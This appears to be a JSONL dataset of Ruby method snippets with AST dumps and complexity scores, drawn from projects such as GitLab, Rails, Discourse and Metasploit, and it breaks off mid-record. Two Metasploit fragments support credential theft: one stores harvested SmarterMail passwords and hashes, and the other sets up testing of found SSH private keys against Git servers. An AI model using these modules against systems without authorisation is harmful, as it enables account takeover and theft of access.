+{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/utilities/endpoints/delete.rb","start_line":35,"raw_source":"def default_instance_generator(model)\n ->(_params) do\n instance_variable_get(:\"@#{model.name.demodulize.underscore}\")\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"default_instance_generator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_params\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},\"demodulize\"]},\"underscore\"]}]}]}]}]}]}","id":"89d3318b-b43b-4646-a660-7cac8679e131"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/smartermail.rb","start_line":142,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n post_reference_name: refname,\n session_id: session_db_id,\n origin_type: :session,\n private_data: opts[:password],\n private_type: opts[:private_type],\n username: opts[:user]\n }\n\n if opts[:private_type] == :nonreplayable_hash\n credential_data.merge!(jtr_format: opts[:jtr_format])\n end\n\n credential_data.merge!(service_data)\n\n login_data = {\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::UNTRIED\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jtr_format\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"378980e4-30c1-402e-a254-d98be1e9ad56"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/commands_generator.rb","start_line":25,"raw_source":"def run\n program :name, 'gym'\n program :version, Fastlane::VERSION\n program :description, Gym::DESCRIPTION\n program :help, \"Author\", \"Felix Krause \"\n program :help, \"Website\", \"https://fastlane.tools\"\n program :help, \"Documentation\", \"https://docs.fastlane.tools/actions/gym/\"\n program :help_formatter, FastlaneCore::HelpFormatter\n\n global_option(\"--verbose\") { FastlaneCore::Globals.verbose = true }\n\n command :build do |c|\n c.syntax = \"fastlane gym\"\n c.description = \"Build your iOS/macOS app\"\n\n FastlaneCore::CommanderGenerator.new.generate(Gym::Options.available_options, command: c)\n\n c.action do |_args, options|\n config = FastlaneCore::Configuration.create(Gym::Options.available_options,\n convert_options(options))\n Gym::Manager.new.work(config)\n end\n end\n\n command :init do |c|\n c.syntax = \"fastlane gym init\"\n c.description = \"Creates a new Gymfile for you\"\n c.action do |args, options|\n containing = FastlaneCore::Helper.fastlane_enabled_folder_path\n path = File.join(containing, Gym.gymfile_name)\n UI.user_error!(\"Gymfile already exists\") if File.exist?(path)\n\n is_swift_fastfile = args.include?(\"swift\")\n if is_swift_fastfile\n path = File.join(containing, Gym.gymfile_name + \".swift\")\n UI.user_error!(\"Gymfile.swift already exists\") if File.exist?(path)\n end\n\n if is_swift_fastfile\n template = File.read(\"#{Gym::ROOT}/lib/assets/GymfileTemplate.swift\")\n else\n template = File.read(\"#{Gym::ROOT}/lib/assets/GymfileTemplate\")\n end\n\n File.write(path, template)\n UI.success(\"Successfully created '#{path}'. Open the file using a code editor.\")\n end\n end\n\n default_command(:build)\n\n run!\n end","complexity_score":76.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"gym\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"DESCRIPTION\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help\"]},{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Felix Krause \"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help\"]},{\"type\":\"str\",\"children\":[\"Website\"]},{\"type\":\"str\",\"children\":[\"https://fastlane.tools\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help\"]},{\"type\":\"str\",\"children\":[\"Documentation\"]},{\"type\":\"str\",\"children\":[\"https://docs.fastlane.tools/actions/gym/\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help_formatter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"HelpFormatter\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"global_option\",{\"type\":\"str\",\"children\":[\"--verbose\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose=\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\",{\"type\":\"sym\",\"children\":[\"build\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"syntax=\",{\"type\":\"str\",\"children\":[\"fastlane gym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"description=\",{\"type\":\"str\",\"children\":[\"Build your iOS/macOS app\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommanderGenerator\"]},\"new\"]},\"generate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Options\"]},\"available_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"action\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_args\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Options\"]},\"available_options\"]},{\"type\":\"send\",\"children\":[null,\"convert_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Manager\"]},\"new\"]},\"work\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\",{\"type\":\"sym\",\"children\":[\"init\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"syntax=\",{\"type\":\"str\",\"children\":[\"fastlane gym init\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"description=\",{\"type\":\"str\",\"children\":[\"Creates a new Gymfile for you\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"action\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"containing\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"fastlane_enabled_folder_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"containing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"gymfile_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Gymfile already exists\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"is_swift_fastfile\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"swift\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_swift_fastfile\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"containing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"gymfile_name\"]},\"+\",{\"type\":\"str\",\"children\":[\".swift\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Gymfile.swift already exists\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_swift_fastfile\"]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"ROOT\"]}]},{\"type\":\"str\",\"children\":[\"/lib/assets/GymfileTemplate.swift\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"ROOT\"]}]},{\"type\":\"str\",\"children\":[\"/lib/assets/GymfileTemplate\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully created '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'. Open the file using a code editor.\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"default_command\",{\"type\":\"sym\",\"children\":[\"build\"]}]},{\"type\":\"send\",\"children\":[null,\"run!\"]}]}]}","id":"00f5c160-1e06-4b2e-a627-27b058128c7e"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/inbox.rb","start_line":136,"raw_source":"def email?\n channel_type == 'Channel::Email'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Channel::Email\"]}]}]}","id":"e1cce1a0-00ad-40ee-ac4a-508f8abf797e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/resource_events/change_state_service_spec.rb","start_line":94,"raw_source":"def expect_event_source(event, source)\n case source\n when MergeRequest\n expect(event.source_commit).to be_nil\n expect(event.source_merge_request).to eq(source)\n when Commit\n expect(event.source_commit).to eq(source.id)\n expect(event.source_merge_request).to be_nil\n else\n expect(event.source_merge_request).to be_nil\n expect(event.source_commit).to be_nil\n end\n end","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_event_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_commit\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Commit\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_commit\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_commit\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]}]}]}","id":"bad9fc35-a77f-4f4e-9d1c-eab4cea997d3"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/app/controllers/discourse_policy/policy_controller.rb","start_line":20,"raw_source":"def unaccept\n PolicyUser.remove!(current_user, @post.post_policy)\n @post.publish_change_to_clients!(:policy_change)\n\n if @post.post_policy.add_users_to_group.present?\n @post.post_policy.add_users_group.remove(current_user)\n end\n\n render json: success_json\n end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unaccept\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PolicyUser\"]},\"remove!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"post_policy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"publish_change_to_clients!\",{\"type\":\"sym\",\"children\":[\"policy_change\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"post_policy\"]},\"add_users_to_group\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"post_policy\"]},\"add_users_group\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"96b1fb6c-af11-4a53-b400-dbfb4baefa18"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/packages/maven/metadata/create_plugins_xml_service_spec.rb","start_line":122,"raw_source":"def plugins_from(xml_content)\n doc = Nokogiri::XML(xml_content)\n doc.xpath('//metadata/plugins/plugin/artifactId').map(&:content)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"plugins_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"xml_content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//metadata/plugins/plugin/artifactId\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]}]}","id":"1859e6b9-e441-4664-a5bf-191efcfb3d73"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/multibyte/chars.rb","start_line":167,"raw_source":"def tidy_bytes(force = false)\n chars(Unicode.tidy_bytes(@wrapped_string, force))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tidy_bytes\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"force\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"chars\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Unicode\"]},\"tidy_bytes\",{\"type\":\"ivar\",\"children\":[\"@wrapped_string\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}]}","id":"4323dd6d-3c94-4aa3-9751-b3d849eeacb3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/dns_helpers.rb","start_line":87,"raw_source":"def stub_resolver(stubbed_lookups = {})\n resolver = instance_double('Resolv::DNS')\n allow(resolver).to receive(:timeouts=)\n\n expect(Resolv::DNS).to receive(:open).and_yield(resolver)\n\n allow(resolver).to receive(:getresources).and_return([])\n stubbed_lookups.each do |domain, records|\n records = Array(records).map { |txt| Resolv::DNS::Resource::IN::TXT.new(txt) }\n # Append '.' to domain_name, indicating absolute FQDN\n allow(resolver).to receive(:getresources).with(\"#{domain}.\", Resolv::DNS::Resource::IN::TXT) { records }\n end\n\n resolver\n end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_resolver\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"stubbed_lookups\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resolver\",{\"type\":\"send\",\"children\":[null,\"instance_double\",{\"type\":\"str\",\"children\":[\"Resolv::DNS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"timeouts=\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"open\"]}]},\"and_yield\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"getresources\"]}]},\"and_return\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stubbed_lookups\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"records\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]},\"Resource\"]},\"IN\"]},\"TXT\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]},\"to\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"getresources\"]}]},\"with\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]},\"Resource\"]},\"IN\"]},\"TXT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"resolver\"]}]}]}","id":"5ff797a3-d012-4f28-ad92-65d64bc28f13"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Test SSH Github Access',\n 'Description' => %q{\n This module will attempt to test remote Git access using\n (.ssh/id_* private keys). This works against GitHub and\n GitLab by default, but can easily be extended to support\n more server types.\n },\n 'License' => MSF_LICENSE,\n 'Author' => ['Wyatt Dahlenburg (@wdahlenb)'],\n 'Platform' => ['linux'],\n 'SessionTypes' => ['shell', 'meterpreter'],\n 'References' => [['URL', 'https://docs.github.com/en/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection']],\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptPath.new('KEY_FILE', [false, 'Filename of a private key.', nil]),\n OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames will be recursively found matching id_* (Ex: /home/user/.ssh)', nil]),\n OptString.new('GITSERVER', [true, 'Parameter to specify alternate Git Server (GitHub, GitLab, etc)', 'github.com'])\n ]\n )\n deregister_options(\n 'RHOST', 'RHOSTS', 'PASSWORD', 'PASS_FILE', 'BLANK_PASSWORDS', 'USER_AS_PASS', 'USERPASS_FILE', 'DB_ALL_PASS', 'DB_ALL_CREDS'\n )\n 